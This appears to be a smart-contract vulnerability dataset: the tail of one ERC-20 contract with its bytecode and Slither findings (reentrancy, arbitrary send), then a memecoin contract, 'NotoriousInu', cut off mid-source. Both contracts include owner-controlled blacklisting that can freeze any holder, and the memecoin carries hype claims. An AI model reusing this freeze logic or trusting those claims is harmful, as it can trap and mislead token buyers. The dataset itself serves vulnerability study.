pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
} | 0x60806040526004361061023f5760003560e01c806370a082311161012e5780638f9a55c0116100ab578063c55284901161006f578063c552849014610669578063dd62ed3e14610689578063ea1644d5146106cf578063f09fc1cb146106ef578063f2fde38b1461070f57600080fd5b80638f9a55c0146105fe57806395d89b411461024b57806398d5fdca146106145780639f13157114610629578063a9059cbb1461064957600080fd5b80638203f5fe116100f25780638203f5fe1461057557806384c9856c1461058a578063881dce60146105a05780638da5cb5b146105c05780638f70ccf7146105de57600080fd5b806370a08231146104f4578063715018a61461051457806374010ece14610529578063790ca413146105495780637d1db4a51461055f57600080fd5b8063313ce567116101bc5780634bf2c7c9116101805780634bf2c7c9146104695780635d098b38146104895780636b9cf534146104a95780636d8aa8f8146104bf5780636fc3eaec146104df57600080fd5b8063313ce567146103d75780633197cbb6146103f357806333251a0b1461040957806338eea22d1461042957806349bd5a5e1461044957600080fd5b80631cd5c9d8116102035780631cd5c9d81461035357806323b872dd1461036957806327c8f8351461038957806328bb665a1461039f5780632fd689e3146103c157600080fd5b806306fdde031461024b578063095ea7b31461028d5780630f3a325f146102bd5780631694505e146102f657806318160ddd1461032e57600080fd5b3661024657005b600080fd5b34801561025757600080fd5b50604080518082018252600a8152694e4f4a45455453494e5560b01b602082015290516102849190612472565b60405180910390f35b34801561029957600080fd5b506102ad6102a8366004612273565b61072f565b6040519015158152602001610284565b3480156102c957600080fd5b506102ad6102d83660046121bf565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561030257600080fd5b50601754610316906001600160a01b031681565b6040516001600160a01b039091168152602001610284565b34801561033a57600080fd5b50678ac7230489e800005b604051908152602001610284565b34801561035f57600080fd5b5061034560195481565b34801561037557600080fd5b506102ad610384366004612232565b610746565b34801561039557600080fd5b5061031661dead81565b3480156103ab57600080fd5b506103bf6103ba36600461229f565b6107af565b005b3480156103cd57600080fd5b50610345601c5481565b3480156103e357600080fd5b5060405160098152602001610284565b3480156103ff57600080fd5b50610345600b5481565b34801561041557600080fd5b506103bf6104243660046121bf565b61084e565b34801561043557600080fd5b506103bf61044436600461240c565b6108bd565b34801561045557600080fd5b50601854610316906001600160a01b031681565b34801561047557600080fd5b506103bf6104843660046123f3565b61090e565b34801561049557600080fd5b506103bf6104a43660046121bf565b61094b565b3480156104b557600080fd5b50610345601d5481565b3480156104cb57600080fd5b506103bf6104da3660046123d1565b6109a5565b3480156104eb57600080fd5b506103bf6109ed565b34801561050057600080fd5b5061034561050f3660046121bf565b610a17565b34801561052057600080fd5b506103bf610a39565b34801561053557600080fd5b506103bf6105443660046123f3565b610aad565b34801561055557600080fd5b50610345600a5481565b34801561056b57600080fd5b50610345601a5481565b34801561058157600080fd5b506103bf610b50565b34801561059657600080fd5b50610345601e5481565b3480156105ac57600080fd5b506103bf6105bb3660046123f3565b610d35565b3480156105cc57600080fd5b506000546001600160a01b0316610316565b3480156105ea57600080fd5b506103bf6105f93660046123d1565b610db1565b34801561060a57600080fd5b50610345601b5481565b34801561062057600080fd5b50610345610e27565b34801561063557600080fd5b506103bf6106443660046123d1565b610fd6565b34801561065557600080fd5b506102ad610664366004612273565b61101e565b34801561067557600080fd5b506103bf61068436600461240c565b61102b565b34801561069557600080fd5b506103456106a43660046121f9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106db57600080fd5b506103bf6106ea3660046123f3565b61107c565b3480156106fb57600080fd5b506103bf61070a3660046123d1565b6110ba565b34801561071b57600080fd5b506103bf61072a3660046121bf565b611102565b600061073c3384846111ec565b5060015b92915050565b6000610753848484611310565b6107a584336107a0856040518060600160405280602881526020016127a6602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611a64565b6111ec565b5060019392505050565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016107d9906124c7565b60405180910390fd5b60005b815181101561084a5760016009600084848151811061080657610806612764565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061084281612733565b9150506107e5565b5050565b6000546001600160a01b031633146108785760405162461bcd60e51b81526004016107d9906124c7565b6001600160a01b03811660009081526009602052604090205460ff16156108ba576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108e75760405162461bcd60e51b81526004016107d9906124c7565b60018211156108f557600080fd5b600181111561090357600080fd5b600c91909155600e55565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016107d9906124c7565b600181111561094657600080fd5b601255565b6016546001600160a01b0316336001600160a01b03161461096b57600080fd5b601680546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016107d9906124c7565b60188054911515600160b01b0260ff60b01b19909216919091179055565b6016546001600160a01b0316336001600160a01b031614610a0d57600080fd5b476108ba81611a9e565b6001600160a01b03811660009081526002602052604081205461074090611ad8565b6000546001600160a01b03163314610a635760405162461bcd60e51b81526004016107d9906124c7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ad75760405162461bcd60e51b81526004016107d9906124c7565b66b1a2bc2ec50000811015610b4b5760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107d9565b601a55565b6000546001600160a01b03163314610b7a5760405162461bcd60e51b81526004016107d9906124c7565b601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610bda57600080fd5b505afa158015610bee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c1291906121dc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5a57600080fd5b505afa158015610c6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c9291906121dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610cda57600080fd5b505af1158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1291906121dc565b601880546001600160a01b0319166001600160a01b039290921691909117905550565b6016546001600160a01b0316336001600160a01b031614610d5557600080fd5b610d5e30610a17565b8111158015610d6d5750600081115b610da85760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107d9565b6108ba81611b5c565b6000546001600160a01b03163314610ddb5760405162461bcd60e51b81526004016107d9906124c7565b6018805442600a5560ff60c01b19831515600160a01b021664ff000000ff60a01b1990911617600160c01b179055610e11610e27565b601955610e214262278d006125d5565b600b5550565b604080516002808252606082018352600092839291906020830190803683370190505090503081600081518110610e6057610e60612764565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610eb457600080fd5b505afa158015610ec8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eec91906121dc565b81600181518110610eff57610eff612764565b6001600160a01b03909216602092830291909101909101526000610f256009600a612652565b60175460405163d06ca61f60e01b81529192506000916001600160a01b039091169063d06ca61f90610f5d9085908790600401612523565b60006040518083038186803b158015610f7557600080fd5b505afa158015610f89573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610fb19190810190612345565b600181518110610fc357610fc3612764565b6020026020010151905080935050505090565b6000546001600160a01b031633146110005760405162461bcd60e51b81526004016107d9906124c7565b60188054911515600160b81b0260ff60b81b19909216919091179055565b600061073c338484611310565b6000546001600160a01b031633146110555760405162461bcd60e51b81526004016107d9906124c7565b600d82111561106357600080fd5b600d81111561107157600080fd5b600d91909155600f55565b6000546001600160a01b031633146110a65760405162461bcd60e51b81526004016107d9906124c7565b601b548110156110b557600080fd5b601b55565b6000546001600160a01b031633146110e45760405162461bcd60e51b81526004016107d9906124c7565b60188054911515600160c01b0260ff60c01b19909216919091179055565b6000546001600160a01b0316331461112c5760405162461bcd60e51b81526004016107d9906124c7565b6001600160a01b0381166111915760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107d9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661124e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107d9565b6001600160a01b0382166112af5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107d9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166113745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107d9565b6001600160a01b0382166113d65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107d9565b600081116114385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107d9565b6001600160a01b03821660009081526009602052604090205460ff16156114715760405162461bcd60e51b81526004016107d9906124fc565b6001600160a01b03831660009081526009602052604090205460ff16156114aa5760405162461bcd60e51b81526004016107d9906124fc565b3360009081526009602052604090205460ff16156114da5760405162461bcd60e51b81526004016107d9906124fc565b6000546001600160a01b0384811691161480159061150657506000546001600160a01b03838116911614155b1561184a57601854600160a01b900460ff166115645760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107d9565b6018546001600160a01b03838116911614801561158f57506017546001600160a01b03848116911614155b15611641576001600160a01b03821630148015906115b657506001600160a01b0383163014155b80156115d057506016546001600160a01b03838116911614155b80156115ea57506016546001600160a01b03848116911614155b1561164157601a548111156116415760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107d9565b6018546001600160a01b0383811691161480159061166d57506016546001600160a01b03838116911614155b801561168257506001600160a01b0382163014155b801561169957506001600160a01b03821661dead14155b1561174457601b54816116ab84610a17565b6116b591906125d5565b1061170e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107d9565b601854600160b81b900460ff161561174457600a5461172f906104b06125d5565b421161174457601d5481111561174457600080fd5b600061174f30610a17565b601c54909150811180801561176e5750601854600160a81b900460ff16155b801561178857506018546001600160a01b03868116911614155b801561179d5750601854600160b01b900460ff165b80156117c257506001600160a01b03851660009081526006602052604090205460ff16155b80156117e757506001600160a01b03841660009081526006602052604090205460ff16155b15611847576012546000901561182257611817606461181160125486611ce590919063ffffffff16565b90611d64565b905061182281611da6565b61183461182f828561271c565b611b5c565b4780156118445761184447611a9e565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061188c57506001600160a01b03831660009081526006602052604090205460ff165b806118be57506018546001600160a01b038581169116148015906118be57506018546001600160a01b03848116911614155b156118cb57506000611a52565b6018546001600160a01b0385811691161480156118f657506017546001600160a01b03848116911614155b15611951576001600160a01b03831660009081526004602052604090204290819055600c54601055600d54601155600a541415611951576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6018546001600160a01b03848116911614801561197c57506017546001600160a01b03858116911614155b15611a5257600e54601055600f54601155601854600160c01b900460ff1615611a52576019546119ad906064611ce5565b6119b5610e27565b11806119cf5750600a546119cc9062278d006125d5565b42115b156119e6576018805460ff60c01b19169055611a52565b600060649050611a046119fd601954611811610e27565b8290611db3565b905060598110611a1357600080fd5b8060116000828254611a2591906125d5565b90915550611a3a905060646118118584611ce5565b601e6000828254611a4b91906125d5565b9091555050505b611a5e84848484611df5565b50505050565b60008184841115611a885760405162461bcd60e51b81526004016107d99190612472565b506000611a95848661271c565b95945050505050565b6016546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561084a573d6000803e3d6000fd5b6000600754821115611b3f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107d9565b6000611b49611e29565b9050611b558382611d64565b9392505050565b6018805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611ba457611ba4612764565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bf857600080fd5b505afa158015611c0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c3091906121dc565b81600181518110611c4357611c43612764565b6001600160a01b039283166020918202929092010152601754611c6991309116846111ec565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ca2908590600090869030904290600401612544565b600060405180830381600087803b158015611cbc57600080fd5b505af1158015611cd0573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b600082611cf457506000610740565b6000611d0083856126fd565b905082611d0d85836125ed565b14611b555760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107d9565b6000611b5583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e4c565b6108ba3061dead83611310565b6000611b5583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a64565b80611e0257611e02611e7a565b611e0d848484611ebf565b80611a5e57611a5e601354601055601454601155601554601255565b6000806000611e36611fb6565b9092509050611e458282611d64565b9250505090565b60008183611e6d5760405162461bcd60e51b81526004016107d99190612472565b506000611a9584866125ed565b601054158015611e8a5750601154155b8015611e965750601254155b15611e9d57565b6010805460135560118054601455601280546015556000928390559082905555565b600080600080600080611ed187611ff6565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f039087611db3565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f329086612053565b6001600160a01b038916600090815260026020526040902055611f54816120b2565b611f5e84836120fc565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fa391815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611fd18282611d64565b821015611fed57505060075492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006120138a601054601154612120565b9250925092506000612023611e29565b905060008060006120368e87878761216f565b919e509c509a509598509396509194505050505091939550919395565b60008061206083856125d5565b905083811015611b555760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107d9565b60006120bc611e29565b905060006120ca8383611ce5565b306000908152600260205260409020549091506120e79082612053565b30600090815260026020526040902055505050565b6007546121099083611db3565b6007556008546121199082612053565b6008555050565b600080808061213460646118118989611ce5565b9050600061214760646118118a89611ce5565b9050600061215f826121598b86611db3565b90611db3565b9992985090965090945050505050565b600080808061217e8886611ce5565b9050600061218c8887611ce5565b9050600061219a8888611ce5565b905060006121ac826121598686611db3565b939b939a50919850919650505050505050565b6000602082840312156121d157600080fd5b8135611b5581612790565b6000602082840312156121ee57600080fd5b8151611b5581612790565b6000806040838503121561220c57600080fd5b823561221781612790565b9150602083013561222781612790565b809150509250929050565b60008060006060848603121561224757600080fd5b833561225281612790565b9250602084013561226281612790565b929592945050506040919091013590565b6000806040838503121561228657600080fd5b823561229181612790565b946020939093013593505050565b600060208083850312156122b257600080fd5b823567ffffffffffffffff8111156122c957600080fd5b8301601f810185136122da57600080fd5b80356122ed6122e8826125b1565b612580565b80828252848201915084840188868560051b870101111561230d57600080fd5b600094505b8385101561233957803561232581612790565b835260019490940193918501918501612312565b50979650505050505050565b6000602080838503121561235857600080fd5b825167ffffffffffffffff81111561236f57600080fd5b8301601f8101851361238057600080fd5b805161238e6122e8826125b1565b80828252848201915084840188868560051b87010111156123ae57600080fd5b600094505b838510156123395780518352600194909401939185019185016123b3565b6000602082840312156123e357600080fd5b81358015158114611b5557600080fd5b60006020828403121561240557600080fd5b5035919050565b6000806040838503121561241f57600080fd5b50508035926020909101359150565b600081518084526020808501945080840160005b838110156124675781516001600160a01b031687529582019590820190600101612442565b509495945050505050565b600060208083528351808285015260005b8181101561249f57858101830151858201604001528201612483565b818111156124b1576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b82815260406020820152600061253c604083018461242e565b949350505050565b85815284602082015260a06040820152600061256360a083018661242e565b6001600160a01b0394909416606083015250608001529392505050565b604051601f8201601f1916810167ffffffffffffffff811182821017156125a9576125a961277a565b604052919050565b600067ffffffffffffffff8211156125cb576125cb61277a565b5060051b60200190565b600082198211156125e8576125e861274e565b500190565b60008261260a57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561264a5781600019048211156126305761263061274e565b8085161561263d57918102915b93841c9390800290612614565b509250929050565b6000611b5560ff84168360008261266b57506001610740565b8161267857506000610740565b816001811461268e5760028114612698576126b4565b6001915050610740565b60ff8411156126a9576126a961274e565b50506001821b610740565b5060208310610133831016604e8410600b84101617156126d7575081810a610740565b6126e1838361260f565b80600019048211156126f5576126f561274e565b029392505050565b60008160001904831182151516156127175761271761274e565b500290565b60008282101561272e5761272e61274e565b500390565b60006000198214156127475761274761274e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146108ba57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122017fcbc1e8f61156b1835813871f72eef33c35086c0805dd252e0cde28781189564736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,903 |
0xf29c7ee75356c415021ff242db6a64a0924845ae | /**
A true degen play
Telegram: t.me/thenotoriousinu
"Sitting in his gold framed chair, from a shady bar in Brooklyn "Notorious Inu 🚬"
is looking down on his fellow Inu's around him, sad and dissapointed face expressions
overwelm the atmosphere inside of the pub.
Because all of them know there's one one shitcoin that has the zero to lambo potential...
Notorious Inu 🚬"
8) ]8 ,ad888888888b
,8' ,8' ,gPPR888888888888
,8' ,8' ,ad8"" `Y888888888P
8) 8) ,ad8"" (8888888""
8, 8, ,ad8"" d888""
`8, `8, ,ad8"" ,ad8""
`8, `" ,ad8"" ,ad8""
,gPPR8b ,ad8""
dP:::::Yb ,ad8""
8):::::(8 ,ad8""
Yb:;;;:d888""
"8ggg8P"
Lets moon and recover from last 71 rugpulls or 50% presale wallets, first come = first served.
**/
/**
// SPDX-License-Identifier: Unlicensed
**/
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function approve(address to, uint value) external returns (bool);
}
contract NotoriousInu is Context, IERC20, Ownable {
string private constant _name = unicode"NotoriousInu";
string private constant _symbol = "NOTINU";
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
IUniswapV2Router02 private uniswapV2Router;
address[] private _excluded;
address private c;
address private wallet1;
address private uniswapV2Pair;
address private WETH;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee;
uint256 private _LiquidityFee;
uint64 private buyCounter;
uint8 private constant _decimals = 9;
uint16 private maxTx;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable _wallet1) {
c = address(this);
wallet1 = _wallet1;
_rOwned[c] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[c] = true;
_isExcludedFromFee[wallet1] = true;
excludeFromReward(owner());
excludeFromReward(c);
excludeFromReward(wallet1);
emit Transfer(address(0),c,_tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount);
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
function nofees() private {
_taxFee = 0;
_LiquidityFee = 0;
}
function basefees() private {
_taxFee = 0;
_LiquidityFee = 10; //2% goes back into liquidity, so should be seen as 8%
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from] && !bots[to]);
basefees();
if (from != owner() && to != owner() && tradingOpen) {
if (!inSwap) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) {
if (buyCounter < 100)
require(amount <= _tTotal * maxTx / 1000);
buyCounter++;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) {
if (swapEnabled) {
uint256 contractTokenBalance = balanceOf(c);
if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) {
swapAndLiquify(contractTokenBalance);
}
}
}
if (!inSwap) {
if (buyCounter == 10)
maxTx = 120; //12%
if (buyCounter == 25)
maxTx = 150; //15%
if (buyCounter == 35)
maxTx = 300; //30%
if (buyCounter == 40) {
maxTx = 1000; //100%
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
uint256 fifth = contractTokenBalance / 5;
uint256 fourfifth = contractTokenBalance - fifth;
swapTokensForEth(fourfifth);
uint256 balance = c.balance / 5;
sendETHToFee(balance*4);
addLiquidity(fifth, balance);
emit SwapAndLiquify(fourfifth, balance*4, fifth);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
c,
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = c;
path[1] = WETH;
_approve(c, address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp);
}
function sendETHToFee(uint256 ETHamount) private {
payable(wallet1).transfer(ETHamount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
WETH = uniswapV2Router.WETH();
_approve(c, address(uniswapV2Router), ~uint256(0));
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH);
uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp);
maxTx = 100; // 10%
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0));
tradingOpen = true;
swapEnabled = true;
}
function manualswap() external {
uint256 contractBalance = balanceOf(c);
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint256 contractETHBalance = c.balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) nofees();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
